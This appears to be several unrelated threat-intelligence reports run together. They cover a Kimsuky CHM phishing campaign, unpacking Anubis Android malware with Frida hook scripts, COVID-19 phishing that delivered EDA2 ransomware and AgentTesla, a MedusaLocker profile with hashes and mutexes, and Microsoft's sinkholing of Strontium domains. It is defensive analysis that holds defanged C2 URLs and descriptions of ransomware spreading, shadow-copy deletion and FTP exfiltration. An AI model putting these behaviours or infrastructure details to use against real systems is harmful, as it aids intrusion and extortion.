분석 보고서’에서 분석한 악성코드와 동일한 형태이다. 이를 바탕으로 Kimsuky 그룹은 워드 문서 외에도 CHM과 같이 다양한 형태의 악성 파일을 첨부한 피싱 메일을 유포하는 것으로 확인되고 있어, 사용자들의 각별한 주의가 요구된다. ## [파일 진단] - Dropper/CHM.Generic (2023.03.07.00) - Data/BIN.Encoded (2023.03.07.00) - Downloader/VBS.Agent.SC186747 (2023.03.07.00) - Trojan/PowerShell.Agent.SC186246 (2023.02.09.00) ## [행위 진단] - Execution/MDP.Cmd.M4230 ## [IOC] - MD5 - 726af41024d06df195784ae88f2849e4 (chm) - 0f41d386e30e9f5ae5be4a707823fd78 (dat) - 89c0e93813d3549efe7274a0b9597f6f (vbs) - 9f560c90b7ba6f02233094ed03d9272e - C2 - hxxp://mpevalr.ria[.]monster/SmtInfo/demo.txt - hxxp://mpevalr.ria[.]monster/SmtInfo/show.php 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다. **Categories:** 악성코드 정보 **Tagged as:** chm, Kimsuky
# N Ways to Unpack Mobile Malware Ahmet Bilal Can March 13, 2019 This article will briefly explain methods behind mobile malware unpacking, focusing on Anubis, which has been the latest trending malware for almost a year. Actors use dropper applications as their primary method of distribution. Droppers find their way to the Google Play Store under generic names, thereby infecting devices with Anubis. There were at least forty cases in Google Play last fall targeting Turkish users. Anubis malware has already been analyzed in detail by industry experts. Therefore, this article will focus on the packer mechanisms of Anubis. The sample used in this article is available in the references section. I strongly recommend downloading the sample and following through the article. I will divide this post into three sections. ## Packers in Android Ecosystem Mobile malwares also make use of packers to hide their malicious payloads from researchers and AV programs. This includes reflection, obfuscation, code-flow flattening, and trash codes to make the unpacking process stealthy. All mechanisms mentioned are used by the Anubis packer and will be explored in this article. ### Loading classes at runtime Android applications must define their used services, receivers, and activity classes in the AndroidManifest file. In Anubis samples, it is clear that there are many classes not defined in the Manifest file that are simply present in the source code. This means that a file with non-defined classes should be loaded into the application at runtime. There are two main ways of runtime loading in Android: **From file:** - `dalvik.system.DexFile.loadDex` (deprecated after API 26) - `dalvik.system.DexClassLoader` - `dalvik.system.PathClassLoader` **From memory:** - `dalvik.system.InMemoryDexClassLoader` (not common in malwares) Loading from the file requires a dex/jar file to be present in the file system. Anubis unpacks the encrypted data file and then drops the decrypted version. Later on, the malware proceeds to load the decrypted dex into the application. After loading with DexClassLoader, the malware removes the decrypted dex file. Tracing the DexClassLoader should make the loading routine clear. Since DexClassLoader is a class of the dalvik.system package, `dalvik.system.dexClassLoader` should be in the code but is nowhere to be found. ### Reflection Another useful method when dealing with malware is reflection. Reflection is an important concept in Java that lets you call methods/classes without knowing about them at compile time. There are several classes/methods for reflection: - `java.lang.Class.forName` - `java.lang.ClassLoader.loadClass` - `java.lang.reflect.Method` - `java.lang.Class.getMethods` Example usage of `forName`: ```javascript cObj = Class.forName("dalvik.system.dexClassLoader"); ``` The `cObj` variable holds the class object of DexClassLoader. This enables the program to call methods of any given class. The problem is to find where function calls are made to reflection methods. ### Catching packers with Frida Frida is a dynamic instrumentation toolkit supported by nearly every operating system. Frida makes it possible to inject a piece of code to manipulate the target program and also to trace program calls. In this case, it will be used for tracing which reflection calls are made, thereby analyzing the threads. When previously mentioned function calls are made, `console.log` will be called additionally. **Setup Frida on Android Emulator:** 1. Download frida-server suitable for your emulator from [Frida Releases](https://github.com/frida/frida/releases). 2. Push frida-server to the emulator: ```bash adb push frida-server /data/local/tmp adb shell cd /data/local/tmp chmod +x frida-server ./frida-server & ``` 3. Install Frida tools on the host machine: ```bash pip install frida-tools ``` After the setup, we can write a script to hook our target methods. We will start by defining variables for classes of our methods: ```javascript var classDef = Java.use('java.lang.Class'); var classLoaderDef = Java.use('java.lang.ClassLoader'); var loadClass = classLoaderDef.loadClass.overload('java.lang.String', 'boolean'); var forName = classDef.forName.overload('java.lang.String', 'boolean', 'java.lang.ClassLoader'); var reflect = Java.use('java.lang.reflect.Method'); var member = Java.use('java.lang.reflect.Member'); var dalvik = Java.use("dalvik.system.DexFile"); var dalvik2 = Java.use("dalvik.system.DexClassLoader"); var dalvik3 = Java.use("dalvik.system.PathClassLoader"); var f = Java.use("java.io.File"); var url = Java.use("java.net.URL"); var obj = Java.use("java.lang.Object"); var fo = Java.use("java.io.FileOutputStream"); ``` We will use this code snippet to change the implementation of a method: ```javascript class.targetmethod.implementation = function(){ console.log("[+] targetmethod caught!"); stackTrace(); return this.targetmethod(); } console.log("[+] {x} function caught!"); ``` This will enable us to see if the function is called. If the function takes any parameters, logging those may become helpful during the analysis. Then we can get more information about the thread we are in. Frida can call any Android function, including `getStackTrace()`, but that requires a reference to the current thread object. **Getting instance of the thread class:** ```javascript var ThreadDef = Java.use('java.lang.Thread'); var ThreadObj = ThreadDef.$new(); ``` `ThreadObj` holds an instance of the Thread class, and `currentThread()` can be used to get the thread. We can now use `getStackTrace()` and loop through `stackElements` to print the call stack: ```javascript function stackTrace() { console.log("------------START STACK---------------"); var stack = ThreadObj.currentThread().getStackTrace(); for (var i = 0; i < stack.length; i++) { console.log(i + " => " + stack[i].toString()); } console.log("------------END STACK---------------"); } ``` Printing the call stack helps to identify the call graph of reflections and unpacking mechanisms. For example, DexClassLoader might have been created with reflection. But when Frida hooks into DexClassLoader and prints the call stack, we can see the functions called before DexClassLoader is invoked. Unpacking routines are called at the very beginning of the application. Therefore, Frida should be attached as soon as possible to catch the unpacking process. Fortunately, the `-f` option in Frida enables it to spawn the target app itself. Frida accepts scripts with the `-l` parameter: ```bash frida -U -f appname -l dereflect.js ``` Then Frida waits for input from the user to continue. `%resume` will resume the process. The full script is available in my GitHub repository. ### Output without the stackTrace(): With stackTrace(), you can see the functions called before the write method. After tracing these interval functions, you can see `RNlkfTEUX` and `lqfRafMrGew` are called right before them. These functions are very important for decrypting the encrypted file. ## How to Defeat Packers We can divide unpacking methods into two sections. Both ways lead to the decrypted file. ### Dynamically - By hooking: - Intercept `file.delete` (Java level) - Intercept `unlink` syscall (system level) - From memory: - Dump the memory with GameGuardian - Dump the memory with custom tools ### Statically - Hands-on manual unpacking ### Dynamically: Intercepting methods When I first encountered Anubis and realized it was dropping a file, my first solution was hooking into the `file.delete` function: ```javascript Java.perform(function() { var f = Java.use("java.io.File"); f.delete.implementation = function(a){ s = this.getAbsolutePath(); if(s.includes("jar")){ console.log("[+] Delete caught =>" + this.getAbsolutePath()); } return true; } }); ``` This piece of code always returns true to the `file.delete` function. After intercepting, we can pull the dropped jar file. ### By Hooking: System Level What if malware uses native code to delete files? We cannot always hook at the Java level. We need to get deeper. The `unlink` function takes one parameter, a pointer to the filename. We can hook `unlink` with the help of `findExportByName`. The code is taken from [Fortinet](https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-with-frida.html) but tweaked a little so the deleted file will be printed: ```javascript var unlinkPtr = Module.findExportByName('unlink'); Interceptor.replace(unlinkPtr, new NativeCallback(function (a){ console.log("[+] Unlink: " + Memory.readUtf8String(ptr)); }, 'int', ['pointer'])); ``` Let’s run the script. We intercepted the unlink call; since our script just replaced the code of the original function with `console.log()`, the file will not be deleted from the file system. ### From Memory Even when a file is deleted from the file system because the file was loaded into the process, we can get trails of the deleted file from the memory of that process. Since Android inherits from Linux, we can use `/proc/pid` folder to give us information about memory regions of a specified process. Let’s look at our target with: ```bash cat /proc/pid/maps | grep dex ``` We have found the trails of dex files. Now we need to dump these sections. **Dump the Memory with GameGuardian:** First, install and run the APK. Then launch GameGuardian and select the app name from the leftmost button. Select the rightmost button and the one underneath it. Now you can see the dump memory option in the menu. Put the hex codes of regions or select regions by clicking arrow buttons and press save. We can pull dumped regions with: ```bash adb pull /storage/emulated/0/packer ``` Then you will see two files in the packer folder: - `com.eqrxhpdv.cbunlkwsqtz-dfb5a000-e0080000.bin` - `com.eqrxhpdv.cbunlkwsqtz-maps.txt` When examined with the file command, it detects our dex file as a data file. We need to fix it by removing parts that do not belong to our file. **Dump the Memory with Custom Tools:** Thanks to @theempire_h, we can dump regions of memory of the target app with a C program. Here is how to dump a region with `androidDump`: ```bash adb push androidDump /data/local/tmp adb shell cd /data/local/tmp chmod +x androidDump ./androidDump appname ``` It dumps three blobs of data. But after dumping, the file command still does not give us the correct type. It turns out that we should modify the file a little bit. To find the magic byte of dex, I wrote this script: ```python import binascii import sys filename = sys.argv[1] with open(filename, 'rb') as f: content = f.read() h = binascii.hexlify(content).split(b'6465780a') h.pop(0) h = b'6465780a' + b''.join(h) dex = open(sys.argv[1][:-4]+".dex","wb") dex.write(binascii.a2b_hex(h)) dex.close() ``` After running our script on the file, we open it and find our lost classes. ## Statically Here is a blog post explaining the unpacking process from a different perspective. I found the RC4 key with the help of stackTrace. Searching for the value is an efficient way to find RC4 routines for Anubis. To find the RC4 key easily in JADX, here is a quick tip: - Search “% length” - Right-click on the method you are in, press find usage `bArr2` will be used as the RC4 key to decrypt. Here is our sample’s decryption key as `bArr2`. With `bArr2`, we can decrypt the encrypted file from the images folder of the APK. Here is a snippet for decrypting the file with `bArr2`. The script takes two parameters, `bArr2` and the encrypted file. For our case, it is `mediumcrop`. APK files can be simply unzipped to access the content of it. After decrypting and unzipping, we get our dex. After extracting the config, there is one more step to get the address of the C&C server. The malware gets the page source of the Telegram address and changes Chinese characters with ASCII letters. It then processes the base64 string. After decoding base64, it uses a service to decrypt data that was encrypted with the RC4 scheme. I managed to decrypt the Anubis payload with Androguard without running the APK in an emulator! After dumping the dex file, my script will find the config class, printing the C2 and the encryption key. The config class is in one of the `a`, `b`, or `c` classes in newer versions. By checking counts of “this” keywords in class source code, I managed to decrypt all versions of Anubis. ## Conclusion There are many ways to unpack mobile malware and trace packing mechanisms. We might see `dalvik.system.InMemoryDexClassLoader` used in the future. If this is used, delete hooks will not be able to catch dropped files because everything will be done in memory. But dumping memory will catch these methods. Knowing different ways always helps. If you have any questions, feel free to ask in the comment section or through @0xabc0. Cheers. **Special thanks to @godelx0** ### References - Dropper sample: `3c35f97b9000d55a2854c86eb201bd467702100a314486ff1dbee9774223bf0e` - Anubis sample: `e01ed0befbc50eeedcde5b5c07bf8a51ab39c5b20ee6e1f5afe04e161d072f1d` - [Frida Stack Trace](https://codeshare.frida.re/@razaina/get-a-stack-trace-in-your-hook/) - [Fortinet Blog](https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-with-frida.html) - [Reverse Engineering Anubis](https://medium.com/@fs0c131y/reverse-engineering-of-the-anubis-malware-part-1-741e12f5a6bd3) - [All materials](https://github.com/eybisi/nwaystounpackmobilemalware)
# Malicious Attackers Target Government and Medical Organizations With COVID-19 Themed Phishing Campaigns **By Adrian McCabe, Vicky Ray, and Juan Cortes** **April 14, 2020** **Category:** Ransomware, Unit 42 **Tags:** Coronavirus, COVID-19, Cybercrime, Infostealer, Phishing ## Executive Summary Despite prior reporting by various sources indicating that some cyber threat attacker activity may subside during the COVID-19 pandemic, Unit 42 has observed quite the opposite with regard to COVID-19 themed threats, particularly in phishing attacks. This blog seeks to provide a thorough picture and solid technical analysis of the cross-section between the various types of COVID-19 themed threats organizations may be facing during the ongoing pandemic. Specifically, we address a ransomware variant (EDA2) observed in attacks on a Canadian government healthcare organization and a Canadian medical research university, as well as an infostealer variant (AgentTesla) observed in attacks against various other targets. None of the malware samples mentioned in this blog were successful in reaching their intended targets. Our threat prevention platform with WildFire detects activity associated with these threat groups while simultaneously updating the ‘malware’ category within the URL Filtering solution for malicious and/or compromised domains that have been identified. ## Ransomware Campaign ### Campaign Overview Between March 24, 2020, at 18:25 UTC and March 26 at 11:54 UTC, Unit 42 observed several malicious emails sent from the spoofed address noreply@who[.]int to several individuals associated with a Canadian government health organization actively engaged in COVID-19 response efforts, and a Canadian university conducting COVID-19 research. The emails all contained a malicious Rich Text Format (RTF) phishing lure with the file name `20200323-sitrep-63-covid-19.doc`, which, when opened with a vulnerable application, attempted to deliver a ransomware payload using a known shared Microsoft component vulnerability, CVE-2012-0158. It is interesting to note that even though the file name clearly references a specific date (March 23, 2020), the file name was not updated over the course of the campaign to reflect current dates. It is also interesting that the malware authors did not attempt to make their lures appear legitimate in any way; it is clear from the first page of the document that something is amiss. | SHA256 | Subjects | Spoofed Sender | File name | C2 Domain | |--------|----------|----------------|-----------|-----------| | 62d38f19e67013ce7b2a84cb17362c77e2f13134ee3f8743cbadde818483e617 | Coronavirus | noreply@who[.]int | 20200323-sitrep-63-covid-19.doc | www.tempinfo.96 | ### Post-Infection Once opened with vulnerable document viewing software, the malicious attachment drops a ransomware binary to disk at `C:\Users\<victim username>\AppData\Local\svchost.exe`, then executes it. The dropped binary has the hidden attribute set and has an Adobe Acrobat icon. When the ransomware binary is executed, an HTTP GET request for the resource `tempinfo.96[.]lt/wras/RANSOM20.jpg` is initiated. This image is the main ransomware infection notification displayed to the victim. This image is then saved to disk at `C:\Users\<victim username>\ransom20.jpg`, and is subsequently set as the victim user’s desktop wallpaper. After the image is downloaded, an HTTP POST request to the resource `www.tempinfo.96[.]lt/wras/createkeys.php` is made containing the user name and host name of the victim. Of particular note is that connectivity to the remote host is first checked via use of HTTP 100 Continue prior to the malware transmitting the host details. Once the remote command and control (C2) server successfully receives the victim’s details, it then proceeds to create a custom key based on the username/hostname details and sends the key back to the infected host for further processing. Once the key is received from the C2 server, the infected host then initiates an HTTP POST request to the resource `www.tempinfo.96[.]lt/wras/savekey.php` containing its hostname and the main decryption key for the host, which is, in itself, AES encrypted. At this point, encryption of the victim’s files begins. This particular ransomware binary is configured to encrypt files with the following file extensions: `.abw`, `.aww`, `.chm`, `.dbx`, `.djvu`, `.doc`, `.docm`, `.docx`, `.dot`, `.dotm`, `.dotx`, `.epub`, `.gp4`, `.ind`, `.indd`, `.key`, `.keynote`, `.mht`, `.mpp`, `.odf`, `.ods`, `.odt`, `.ott`, `.oxps`, `.pages`, `.pdf`, `.pmd`, `.pot`, `.potx`, `.pps`, `.ppsx`, `.ppt`, `.pptm`, `.pptx`, `.prn`, `.prproj`, `.ps`, `.pub`, `.pwi`, `.rtf`, `.sdd`, `.sdw`, `.shs`, `.snp`, `.sxw`, `.tpl`, `.vsd`, `.wpd`, `.wps`, `.wri`, `.xps`, `.bak`, `.bbb`, `.bkf`, `.bkp`, `.dbk`, `.gho`, `.iso`, `.json`, `.mdbackup`, `.nba`, `.nbf`, `.nco`, `.nrg`, `.old`, `.rar`, `.sbf`, `.sbu`, `.spb`, `.spba`, `.tib`, `.wbcat`, `.zip`, `7z`, `.dll`, `.dbf`. The encryption algorithm is fairly simple, and, when encrypted, files are renamed with a `.locked20` extension. Additionally, this ransomware binary has a particularly substantial limitation; it is hardcoded to only encrypt files and directories that are on the victim’s desktop. ### Threat Identification From the code structure of the binary and the host-based and network-based behaviors of the ransomware, Unit 42 has determined that the ransomware variant used in this attack is EDA2, an open-source ransomware variant associated with a larger, parent ransomware family called HiddenTear. ## AgentTesla Campaign It is not a surprise to see malspam actors also taking advantage of the ongoing COVID-19 pandemic crisis and using COVID-19 as a lure to entice victims to click on malicious attachments and infect their systems. | SHA256 | Subjects | Sender | File name | Initial C2 | |--------|----------|--------|-----------|-------------| | fd4b4799079cdd970eec3884bef4771624a55297086041fd4e7fcefb1a86d08e | COVID-19 Supplier | [email protected] | COVID-19 Supplier Notice/COVID-19 Supplier Notice.jpg.exe | ftp[.]look | | 67b44bbf3f69e170f1e8ddea8d992dc83cfd351f06a28338b37dc16ad74826ef | | | | | | 14f6b1979ccc5d29c7b143009472d1edcfcdf0025bc2fa84ee445f17f091dd9a | | | | | All the associated samples connected to the same C2 domain for exfiltration - `ftp[.]lookmegarment[.]com`. Our analysis also shows that the AgentTesla samples had hard coded credentials used to communicate with the C2 over FTP. It is also important to note that the email sender domain, `liquidroam[.]com`, and the C2 domain, `lookmegarment[.]com`, are legit business domains providing sales of electric skateboards and garment textiles, respectively. It is likely that the domains have been compromised and their infrastructure being used in the wider campaign of the cyber criminals. ## Conclusion The objective of this blog was to give a deeper understanding of some of the types of cybercrime campaigns being faced by multiple critical industries dealing with the urgent and critical response efforts of the COVID-19 pandemic. It is clear from these cases that the threat actors who profit from cybercrime will go to any extent, including targeting organizations that are on the front lines and responding to the pandemic on a daily basis. While this blog specifically focused on two campaigns, Unit 42 is tracking multiple campaigns with COVID-19 themes being used by threat actors on a daily basis, and this trend is likely going to continue for weeks to come. We will continue updating the Unit 42 blog with new findings and observations on how the ongoing COVID-19 pandemic is being leveraged by cyber criminals for illicit profit. Palo Alto Networks customers are already protected from the mentioned threats by: - Deploying Threat ID 1114703, 2878137, 2855181, 2850820, 2811429, 2888946 - Wildfire successfully classifies the samples as malware - C2 domains are classified as malicious in DNS Security ## IOCs ### Ransomware Campaign: - RTF Phishing Lure: `62d38f19e67013ce7b2a84cb17362c77e2f13134ee3f8743cbadde818483e617` - Additional related RTF Lure (origin unknown): `42f04025460e5a6fc16d6182ee264d103d9bcd03fffd782c10f0b2e82b84f768` - Ransomware Binary: `2779863a173ff975148cb3156ee593cb5719a0ab238ea7c9e0b0ca3b5a4a9326` - Mailing Infrastructure: `176.223.133[.]91` - C2: `tempinfo.96[.]lt`, `31.170.167[.]123` ### AgentTesla Campaign: - AgentTesla Samples: - `fd4b4799079cdd970eec3884bef4771624a55297086041fd4e7fcefb1a86d08e` - `67b44bbf3f69e170f1e8ddea8d992dc83cfd351f06a28338b37dc16ad74826ef` - `14f6b1979ccc5d29c7b143009472d1edcfcdf0025bc2fa84ee445f17f091dd9a` - `590f84008dfd489fbf98d83e281fbb38c40d890169a9dbd482ff1f184cfb0970` - `408bd4ffdff006738289dc51f1e51b00662508628ef8bb6147e3d88d4740ec4b` - C2: `ftp[.]lookmegarment[.]com`, `157[.]245.78[.]47`
# Threat Spotlight: MedusaLocker By Edmund Brumaghin, with contributions from Amit Raut. ## Overview MedusaLocker is a ransomware family that has been observed being deployed since its discovery in 2019. Since its introduction to the threat landscape, there have been several variants observed. However, most of the functionality remains consistent. The most notable differences are changes to the file extension used for encrypted files and the look and feel of the ransom note that is left on systems following the encryption process. While most of MedusaLocker's functionality is consistent with other modern ransomware families, there are features that set MedusaLocker apart from many of the other ransomware families commonly observed: - MedusaLocker can encrypt the contents of mapped network drives that may be present on infected systems. - It manipulates Windows functionality to force network drives to be remapped so that their contents can also be encrypted. - The malware uses ICMP sweeping to profile the network to identify other systems that can be used to maximize the likelihood of a ransom payment. MedusaLocker can also perform ICMP sweeping to identify other systems on the same network. If the malware is able to locate them, MedusaLocker then attempts to leverage the SMB protocol to discover accessible network locations, and if files are discovered in those locations, they are also encrypted and ransomed in the same manner as other locally stored data. ## Characteristics MedusaLocker features characteristics typical of ransomware that is commonly seen across the threat landscape. Upon execution, it copies itself to the `%APPDATA%\Roaming\` directory. To achieve persistence, the malware creates scheduled tasks within Windows to execute the PE32 that was previously stored in `%APPDATA%\Roaming`. Interestingly, the scheduled task is also configured to be executed every 15 minutes after the initial infection process, likely as a way to continue to maintain the ability to impact files and other data after the initial run of the ransomware. As previously mentioned, the malware is configured to iterate through disk partitions that may be present and accessible on the infected system and encrypt the contents. Files that are encrypted have a new file extension appended to them. As there are several variants currently being observed across the threat landscape, this file extension varies. In the case of the sample analyzed, that file extension was ".encrypted." Additionally, in each directory in which the malware discovers data to be encrypted, a ransom note is saved titled "HOW_TO_RECOVER_DATA." This ransom note functions similarly to the ransom notes we've grown accustomed to seeing — it provides victims with instructions for contacting the threat actor to facilitate payment of their ransom demands. The ransom notes vary across samples and feature slightly different HTML styling. To minimize the ability for victims to easily recover from MedusaLocker, the "vssadmin" utility built into the Windows operating system is used to delete shadow copies, a technique very commonly used by different ransomware families. The malware also attempts to perform network-based discovery to identify accessible locations in which additional files can be encrypted using ICMP. If additional hosts are discovered, the malware uses SMB to enumerate shared data storage locations that the infected system may be able to connect to. Additionally, the malware makes use of the Windows registry in an attempt to force an infected system to reconnect to shared network drives to facilitate the encryption of additional data. One of the binaries analyzed also contained the following debug artifacts. Given the network awareness present within MedusaLocker, the amount of damage that a single infected system could do inside of a corporate environment is high. One interesting characteristic present across MedusaLocker samples is a static list of mutexes that the malware uses. The following hardcoded mutex values were identified during our analysis of a large number of MedusaLocker samples: - {3E5FC7F9-9A51-4367-9063-A120244FBEC7} - {6EDD6D74-C007-4E75-B76A-E5740995E24C} - {8761ABBD-7F85-42EE-B272-A76179687C63} - {E398BEDC-2FD6-4BDE-BFC4-F5633E13B901} Organizations may consider leveraging mutex blocklisting as an additional way to protect systems against MedusaLocker infections, as this would effectively block the execution of any applications attempting to use these hardcoded values and prevent successful infection from taking place. ## How to Defend Against MedusaLocker To defend against MedusaLocker, it is important to ensure a well-organized, multi-layered cybersecurity program is in place within your organization: - Email and spam filters are critical in the case of MedusaLocker, as email is one of the malware distribution vectors commonly abused by attackers. - Perform regular updates and system hardening, as MedusaLocker attempts to encrypt the contents of SMB shares as well as local storage devices. - Give employees regular phishing training and conduct regular awareness programs. - Employ strong password policies and use multi-factor authentication, such as Cisco Duo. - Ensure updated endpoint security software, such as Cisco AMP for Endpoints, is deployed across your network. Organizations should also ensure that they have a robust offline backup and recovery strategy in place prior to needing it. This strategy should be regularly verified and updated as business requirements change over time to ensure that recovery is possible. ## Conclusion Organizations should be prepared to defend against this and other ransomware attacks. The emergence of "big game hunting" has proven that simply having backup and recovery strategies is not enough. Organizations should also leverage a robust defense-in-depth strategy to protect their environments from malware such as MedusaLocker. Ransomware developers continue to add functionality that enables them to maximize the damage they can inflict upon corporate networks in an effort to increase the likelihood of receiving a ransom payment from victims. This trend is likely to continue, and organizations should have response and recovery plans in place to ensure that they can resume normal operations following destructive attacks such as this. ## Indicators of Compromise (IOC) The following indicators of compromise have been observed as being associated with MedusaLocker. ### File Hashes (SHA256) - 00ebd55a9de1fcdd57550d97463b6bc417184730e3f4646253ba53c4b473b7c0 - 02f250a3df59dec575f26679ebd25de7c1d5b4d9d08016685f87a3628a393f92 - 03df9dbf3fa35b88d948935e122a0217228ed7d1d3c892265791b55e38fae24c - 03ebe8dc4828536fea08858fdfc3b53237eb514fe8cf6bc7134afb41b22f96a2 - 0432b4ad0f978dd765ac366f768108b78624dab8704e119181a746115c2bef75 - 0a82724cfb44769e69d75318b0868cd6de4aa789951362b3e86199e6c7922610 - 0bad6382f3e3c8bf90f4a141b344154f8f70e31a98f354b8ac813b9fcdaf48f7 - 0c840606112df18bfa06d58195a0ed43715c56899445d55f55bc3789fde14ed9 - 124c65d01c6ba01dead43e246ae4c300d7345c8f46ae71ebf101bef5510f35aa - 1d1e8e2bd3f8276f629e315b2ac838deaac37f3b61ceb780a58f7db611cf9669 - 203b947a8d5016b98d5ec565cd0a20038203420b56c9c3ce736529282c7e98ec - 21acd48a82d4a0e9d377930220e384bc256eaaaf9457a45553636c9f63ae6731 - 21c644438a00fb75fabb577076933a99119e9f07e71eaab3f7dc6c629860c4c0 - 2c64f5f2bde51f7c650078aeee22a4b73e6b859a7327d0e3dd0d88a17e13dbb4 - 30cd6f1ca0d18d125af409faf1b66d3889a12e2f1b42d3270c2ee904f01fe7f0 - 316a5895965fdea58de100355ba1b3a14c0515a40156fc7ab64bdb5d14379888 - 3592c9268f515efe1275760a21046a03a3067872fcb3da7b53477527123c09a7 - 36baceccfe27fb8b1be3d4f0a9e81b9028640aeedf068d71b3a6d080e698a793 - 383f9aa52d4d9dddb396ae22b8713ec524f1c122275da3ebd5d69d25685f2800 - 3a5b015655f3aad4b4fd647aa34fda4ce784d75a20d12a73f8dc0e0d866e7e01 - 3f7cbfe8c40ec4b599ba7dea95321c377c1d9f08c56c62b6809157f73774bde8 - 42b17e87923cb88b6ae8f0666f963c15614f89fa560e663a84a056957b74bca1 - 44cb88c5249de0fe7dbbb9feb782f1d0327301dd6ec31810516bdfa79cc689bb - 45031b48fd957c9ff863b805684caceb21caf23f1cffade15915e88bd009c347 - 45aeaffa5a8e2124e8c35e7a0e8f055fb6bb5ded8a210afd2d7fb30dcfc1f91d - 461f427d71d6e2e2320ed5f8e6160d6bee23a98ff929d8d8b7567dcc6118d937 - 4ccc3a7c6b18db6f7251c447e19e24c9dde30a45e78d283ed367f6f0165c2fb1 - 4cf090e3ae23ea6cbe76df697bf7143bcc95acfc1521fbe5af77cb5033fae87a - 56dea1387925e4e5eb3673c8656ce5366a74d5f105a590ae321ac3b233e12b50 - 588a40e5d53016b2261e08229943063a71b40f034b998361c075bf7b8d5245fe - 590ea5fa2db24715d72c276c59434b38d21678d6dcabb41f0e370f6dc56ab26b - 5aa810e4891538670cc0db6274b7276abe84e8ccbbaef1d3b1208b9ad419a9fa - 5b7ca58a5439e639951dc045415ad71796d902039b879336c7536e3813cdf8de - 5e0587e61d94a40091480a2f5f78621362265b8702b3558a0db536693159865f - 613f0384286bf9956143e5cd7f885cc9b2cf30acaab2fe67a891ff26aaa162fc - 6b9ca4cbb68f23e164625614d9d074b7bb9e2c5aeb429034ed4d6440594ce64e - 6e3b77a1131912156c3f65f3b7e8572bd2e02b8bb7180104e8bf36e2e1451d43 - 6eeb8de811f707ec3b77e212d415f0d79dca77b564d7738ae36612c457f451cc - 72f9d83c7852f2247e24113cb379fff71c06f095910726ea79479f16aac6070f - 7b7cce10967d657b7ad0a66270dfee7000dac8aca2e39199c9713a4ee42279c2 - 7dc751629d80ebbcb18fc08ab90c8503825898a591f2c9fbb0d0145173c646f9 - 85361265e3f97a280fd2950b49023f8cfcb204a55bedf8ba467f078a6e3c45e0 - 897737252ce8e474774548b99c9bb5fc52484fe51df8e5d87945186adf7a5dd5 - 8b80a84b2a0a5a5f9670a951492749c3798c9f4d41589872224d57d41913fb46 - 8c2dce63957579f99a0e8c71755bd8a69298a4621d7b8984b06b69ed874f8d26 - 959c650e9b8e2b003d81e042de8f4f81c7671437124d74136d5ec26f32a72437 - 989408f2692a10b011471fbbdf55d9ccc8e438308393b35736fe02b45ec8c34c - a0ff2c622c32e05aef8e7fb2e36b693aecc8cc04e049d3b47c0e0cb50d3ab575 - a6cc8bd23bbafd0b356404eb24b50236815a03abdfcf8d280dbedd5c45bf6282 - a9787581be4c667438a07a060137d6a83abcc2d1e33eef1086622dece56bb48f - a9ce91a9a1bcbe2cd2ec023cdf2f302c8ac4f6bfe04e83a9c4edd1c47b53618e - b561a5d5bb5cf659f7f23fd833244a61031bc5c5e69972b22f4ff5c495a44203 - b6214517043d1b0bc41f9754f851a905c5ac4af30e30a7c0725a93bfcc063374 - bb4d0f67360858a27da21d79bf93b5c628045883712c3c2e10917bebf6771c44 - c01323aae6c62466bda8e6347e64266c725e6a754b06d4fc4aad1c323d3e21ed - c632ce1dc34111c66efb817f608bf3b547fc9df5fed478d736b4c53a41ba193e - c7ba33d4ef49b5dd0e6ad4a17bb04733db4832c5ef6bc07da51a0a4ffd7d831f - c7e71eb5d99cb54f83d3617682805bdf2991cb8fd0b4d34ecc0cf7624aaed6c8 - d0d8628b44da07aaac7d2bc0287897b2abaeaaeded1d62cdebb6b71078d82e3e - d6223b02155d8a84bf1b31ed463092a8d0e3e3cdb5d15a72b5638e69b67c05b7 - db11260b9eff22f397c4eb6e2f50d02545dbb7440046c6f12dbc68e0f32d57ce - ddb4776992155b9c5a26b47b53df2fed780c67b45eca5cbdf573e0dc3c20c371 - ddca9b2f9b4c20faad500e19ba74c8d478c5be02596e9b1ff5a26ef4396bcd59 - dde3c98b6a370fb8d1785f3134a76cb465cd663db20dffe011da57a4de37aa95 - e2148660af56e9fde27e26ae3db205ca2d68ef1caf968e21f498fa94d8b56ef9 - e71a4e701874c1a8e6bbdda79038b08b2fd36015a575fe167632eb629060b416 - e86234c97b85a388f5df0a4900c1902f402210a9f73c26c3f856e25ae61bb80f - ea4285821c6292cc0ac5b740d3bc77484858432e29843a729434d48248793d82 - f31b9f121c6c4fadaa44b804ec2a891c71b20439d043ea789b77873fa3ab0abb - f7fac370ff01836fd82e68a9b95372f612785087821ebd8fb89fe1dcf7122b22 - fda65c171b36dbeb6eee6912ce85da045d06f780bf74a1000c57f0c6fb8ad415
# Disrupting Cyberattacks Targeting Ukraine Today, we’re sharing more about cyberattacks we’ve seen from a Russian nation-state actor targeting Ukraine and steps we’ve taken to disrupt it. We recently observed attacks targeting Ukrainian entities from Strontium, a Russian GRU-connected actor we have tracked for years. This week, we were able to disrupt some of Strontium’s attacks on targets in Ukraine. On Wednesday, April 6th, we obtained a court order authorizing us to take control of seven internet domains Strontium was using to conduct these attacks. We have since redirected these domains to a sinkhole controlled by Microsoft, enabling us to mitigate Strontium’s current use of these domains and enable victim notifications. Strontium was using this infrastructure to target Ukrainian institutions including media organizations. It was also targeting government institutions and think tanks in the United States and the European Union involved in foreign policy. We believe Strontium was attempting to establish long-term access to the systems of its targets, provide tactical support for the physical invasion, and exfiltrate sensitive information. We have notified Ukraine’s government about the activity we detected and the action we’ve taken. This disruption is part of an ongoing long-term investment, started in 2016, to take legal and technical action to seize infrastructure being used by Strontium. We have established a legal process that enables us to obtain rapid court decisions for this work. Prior to this week, we had taken action through this process 15 times to seize control of more than 100 Strontium-controlled domains. The Strontium attacks are just a small part of the activity we have seen in Ukraine. Before the Russian invasion, our teams began working around the clock to help organizations in Ukraine, including government agencies, defend against an onslaught of cyberwarfare that has escalated since the invasion began and has continued relentlessly. Since then, we have observed nearly all of Russia’s nation-state actors engaged in the ongoing full-scale offensive against Ukraine’s government and critical infrastructure, and we continue to work closely with government and organizations of all kinds in Ukraine to help them defend against this onslaught. In the coming weeks, we expect to provide a more comprehensive look at the scope of the cyberwar in Ukraine. **Tags:** cyberattacks, cybersecurity, cyberwar, Russia, Strontium, Ukraine
